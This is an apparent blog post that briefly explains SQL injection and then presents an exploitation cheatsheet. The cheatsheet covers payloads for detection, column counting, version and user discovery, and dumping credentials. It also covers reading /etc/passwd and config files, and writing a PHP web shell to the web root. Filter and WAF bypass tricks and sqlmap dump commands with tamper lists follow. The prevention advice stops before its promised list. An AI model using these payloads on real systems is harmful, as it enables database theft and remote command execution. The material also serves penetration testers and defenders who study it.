SQL injection is a code injection technique for applications with a database connection. The malicious user sends a crafted SQL query to extract, add, modify, or delete data from the database.
Let’s imagine that you are using the search feature of an application, using the following keyword to search: apple
__https://vulnerableURL.com/images?search=apple__
The following SQL query is sent in the background:
__SELECT * from fruits WHERE name=’apple’__
You add a single quote in your search like ?search=apple’ and the following query is sent. The query structure is broken:
__SELECT * from fruits WHERE name='apple''__
From there, the attacker writes a UNION SQL query for the search to take control of the SQL query and extract information it wasn’t intended to.
__?search=apple’ UNION SELECT username, password FROM users —__
__SELECT * from fruits WHERE name=’apple’’ UNION SELECT username, password FROM users —__
In this circumstance, username and password data from the users table is extracted rather than the intended results.
SQL Injections are highly critical issues as these can be used to extract complete database contents and, in some cases, can be leveraged to gain Remote Code (RC) execution on the server. Related payloads for these attacks are given in the cheatsheet below.
To prevent SQL Injections, ensure that proper server-side input validation is performed on all sources of user input. Various protections should be implemented using the following in order of effectiveness:
Below you will find my cheatsheet for exploiting SQL Injection:
--------------|--------------------|-----------|--------------------
| MySQL | MySQL | PostgreSQL
--------------|--------------------|-----------|--------------------
String Concat:| 'foo' 'bar' |'foo'+'bar'| 'foo'||'bar'
| CONCAT('foo','bar')| |
--------------|--------------------|-----------|-------------------
Comments: | # | -- | --
| -- | /*aaa*/ | /*aaa*/
| -- - | |
| /*aaa*/ | |
--------------|--------------------|-----------|--------------------
| Oracle
--------------|-----------------------------------------------------
String Concat:| 'foo'||'bar
| CONCAT('foo','bar')
--------------|-----------------------------------------------------
Comments: | --
|
--------------|-----------------------------------------------------
-----------|--------------------------------------------------------
Detection: | aa' --
| aa' #
| aa'/*
| ' or 1=1--
| ' or 1=1#
| ' or 1=1/*
| ') or '1'='1--
| ') or ('1'='1--
-----------|--------------------------------------------------------
Number | ?id=1 order by <number> #
of columns:| (Keep increasing number until you get an error,
| the last number that doesn’t give you an error
| is the # of columns)
-----------|--------------------------------------------------------
Version: | ?id=1 union select 1,version(),3,4 #
| id=1 UNION SELECT null,@@version,null,null
| id=3 and substring(@@version,1,1)=4
| id=3 and substring(@@version,1,1)=5
| id=3 union all select 1,2,@@version,4/*
-----------|--------------------------------------------------------
Current | ?id=1 union select 1,2,user(),4 #
users: | SELECT user(); **(Mysql)**
| SELECT system_user(); **(Mysql, MSSQL)**
| SELECT user_name(); **(MSSQL)**
| SELECT user; **(MSSQL, PostgreSQL)**
| SELECT current_user; **(PostgreSQL)**
| SELECT user FROM dual **(Oracle)**
| ') or ('1'='1--
-----------|--------------------------------------------------------
Tables: | ?id=2 union select 1,table_name,3,4
| from information_schema.tables
| SELECT * FROM information_schema.tables **(MySQL)**
| SELECT * FROM information_schema.tables **(MSSQL)**
| SELECT * FROM information_schema.tables **(PostgreSQL)**
| SELECT * FROM all_tables **(Oracle)**
-----------|--------------------------------------------------------
Columns: | ?id=2 union select 1,column_name,3,4 from
| information_schema.columns where table_name='users'
| SELECT * FROM information_schema.columns
| WHERE table_name = 'table-name' **(MySQL)**
| SELECT * FROM information_schema.columns
| WHERE table_name = 'table-name' **(MSSQL)**
| SELECT * FROM information_schema.columns
| WHERE table_name = 'table-name' **(PostgreSQL)**
| SELECT * FROM all_tab_columns
| WHERE table_name = 'table-name' **(Oracle)**
-----------|--------------------------------------------------------
Time-Based:| SELECT sleep(10) **(MySQL)
| WAITFOR DELAY ‘0:0:10’ **(MSSQL)
| SELECT pg_sleep(10) **(PostgreSQL)
| dbms_pipe.receive_message((‘a’),10) **(Oracle)
-----------|--------------------------------------------------------
Blind | ?id=3
Injection: | ?id=3 and 1=1 **(no error)
| ?id=3 and 1=2 **(error)
-----------|--------------------------------------------------------
Extracting | cat.php?id=2 union select
Data: | 1,**concat(**login,0x3a,password**)**,3,4 from users
--------------------------------------------------------------------
Reading files:
‘ union select 1,2,3, load_file(‘/etc/passwd’) ,5,6,7,8 — -
‘ union select 1,2,3, load_file(‘/var/www/login.php’) ,5,6,7,8 — -
‘ union select 1,2,3, load_file(‘/var/www/includes/config.inc.php’) ,5,6,7,8 — -
‘ union select 1,2,3, load_file(‘/var/www/mysqli_connect.php’) ,5,6,7,8 — -
--------------------------------------------------------------------
Uploading files:
‘ union select 1,2,3, ‘this is a test message’ ,5,6,7,8 into outfile ‘/var/www/test’ — -
‘ union select 1,2,3, load_file(‘/var/www/test’) ,5,6,7,8 — -
‘ union select null,null,null, “<?php system($_GET[‘cmd’]) ?>” ,5,6,7,8 into outfile ‘/var/www/shell.php’ — -
‘ union select null,null,null, load_file(‘/var/www/shell.php’) ,5,6,7,8 — -
--------------------------------------------------------------------
-----------|--------------------------------------------------------
Replacing | **/**/
Space: | +
| /*! */
| /*!50000 */
| /*!1234 */
| /*--*/
-----------|--------------------------------------------------------
Bypass | uNiOn (change upper-lower case)
filters for| unUNIONion (write words in the keyword)
keywords: | %55nIoN %53eLeCt (URL encode letters - U & S in these
| cases)
| Add followings around the words
| **/*!50000**XXXXXX***/** /*!50000UniON SeLeCt*/
-----------|--------------------------------------------------------
Version: | ?id=1 union select 1,version(),3,4 #
| id=1 UNION SELECT null,@@version,null,null
| id=3 and substring(@@version,1,1)=4
| id=3 and substring(@@version,1,1)=5
| id=3 union all select 1,2,@@version,4/*
-----------|--------------------------------------------------------
# of | **/**/**ORDER**/**/**BY**/**/**
columns: | **/*!**order***/+/***!by***/
(By order) | **/*!**ORDER BY***/**
| **/*!50000**ORDER BY***/
| /*!50000**ORDER***//**//*!50000**BY***/
| /*!12345**ORDER***/+/*!**BY***/**
--------------------------------------------------------------------
sqlmap -r login.req --dbms=mysql --level 3 --risk 3 --timeout 100 --flush-session --technique=B --time-sec=2 --dbs --threads 10 --tamper=between,informationschemacomment,bluecoat,charencode --drop-set-cookie --fresh-queries --binary-fields -identify-waf
-------------------------------------------------------------------
tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
-------------------------------------------------------------------
tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
-------------------------------------------------------------------
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
--------------------------------------------------------------------
-------------------------------------------------------------------
Crawl the page:
sqlmap -u http://.. --dbms=mysql --crawl=3
sqlmap -u http://<targetip> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level 4 --risk 3
-------------------------------------------------------------------
Specify parameter in the saved request file:
sqlmap -r login.req -p Password --dbms=mssql -v 3 --batch --level 5 --risk 3
-------------------------------------------------------------------
List DBs:
sqlmap -r request.txt --level 4 --risk 3 --dbms=mysql --batch -p <parameter> --dbs
-------------------------------------------------------------------
List tables:
sqlmap -r request.txt --level 4 --risk 3 --dbms=mysql --batch -p <parameter> -D <dbname> --tables
--------------------------------------------------------------------
Dump column data:
sqlmap -r request.txt --level 4 --risk 3 --dbms=mysql --batch -p <parameter> -D <dbname> -T <tables> --dump
--------------------------------------------------------------------
Force usage of SSL/HTTPS:
python sqlmap.py -r a.req --force-ssl --users
--------------------------------------------------------------------
Some Explanations for sqlmap options:
For more options, please refer to the official sqlmap guide: https://github.com/sqlmapproject/sqlmap/wiki/Usage